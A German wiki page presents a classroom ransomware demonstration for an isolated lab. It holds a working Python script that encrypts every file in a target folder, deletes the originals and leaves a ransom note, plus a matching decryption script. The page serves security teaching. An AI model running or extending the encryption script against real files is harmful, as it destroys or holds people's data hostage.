Ransomeware Demo

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Ransomware-Demo

Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich für Schulungszwecke gedacht.

Vorbereitung

Abhängigkeit installieren:

pip install cryptography

Testdateien in einem separaten Ordner anlegen, z.B. /home/opfer/dokumente.

Ablauf

  1. Angreifer verschlüsselt alle Dateien im Zielordner
  2. Jede Datei bekommt die Endung .enc
  3. Der Schlüssel wird exfiltriert (hier: /tmp/demo_key.key)
  4. Eine Lösegeldforderung (LIES_MICH.txt) erscheint im Ordner
  5. Ohne den Key ist keine Wiederherstellung möglich

Skript 1: Verschlüsselung

import sys, os
from cryptography.fernet import Fernet

if len(sys.argv) < 2:
    print(f"Verwendung: {sys.argv[0]} <ordner>")
    sys.exit(1)

TARGET_DIR = sys.argv[1]
KEY_FILE   = "/tmp/demo_key.key"

if not os.path.isdir(TARGET_DIR):
    print(f"Kein gültiger Ordner: {TARGET_DIR}")
    sys.exit(1)

key = Fernet.generate_key()
with open(KEY_FILE, "wb") as kf:
    kf.write(key)

f = Fernet(key)

for datei in os.listdir(TARGET_DIR):
    pfad = os.path.join(TARGET_DIR, datei)
    if os.path.isfile(pfad) and not datei.endswith(".enc") and datei != "LIES_MICH.txt":
        daten = open(pfad, "rb").read()
        open(pfad + ".enc", "wb").write(f.encrypt(daten))
        os.remove(pfad)
        print(f"  verschlüsselt: {datei}")

open(os.path.join(TARGET_DIR, "LIES_MICH.txt"), "w").write(
    "IHRE DATEIEN WURDEN VERSCHLÜSSELT!\n[Demo]"
)
print(f"Fertig. Key: {KEY_FILE}")

Aufruf:

python3 ransomware_demo.py /home/opfer/dokumente

Skript 2: Entschlüsselung

import sys, os
from cryptography.fernet import Fernet

if len(sys.argv) < 2:
    print(f"Verwendung: {sys.argv[0]} <ordner>")
    sys.exit(1)

TARGET_DIR = sys.argv[1]
KEY_FILE   = "/tmp/demo_key.key"

if not os.path.isdir(TARGET_DIR):
    print(f"Kein gültiger Ordner: {TARGET_DIR}")
    sys.exit(1)

if not os.path.isfile(KEY_FILE):
    print(f"Key nicht gefunden: {KEY_FILE}")
    sys.exit(1)

with open(KEY_FILE, "rb") as kf:
    key = kf.read()

f = Fernet(key)

for datei in os.listdir(TARGET_DIR):
    pfad = os.path.join(TARGET_DIR, datei)
    if os.path.isfile(pfad) and datei.endswith(".enc"):
        daten = open(pfad, "rb").read()
        original_name = pfad[:-4]
        open(original_name, "wb").write(f.decrypt(daten))
        os.remove(pfad)
        print(f"  entschlüsselt: {datei} -> {os.path.basename(original_name)}")

lies_mich = os.path.join(TARGET_DIR, "LIES_MICH.txt")
if os.path.isfile(lies_mich):
    os.remove(lies_mich)

print("Fertig.")

Aufruf:

python3 decrypt_demo.py /home/opfer/dokumente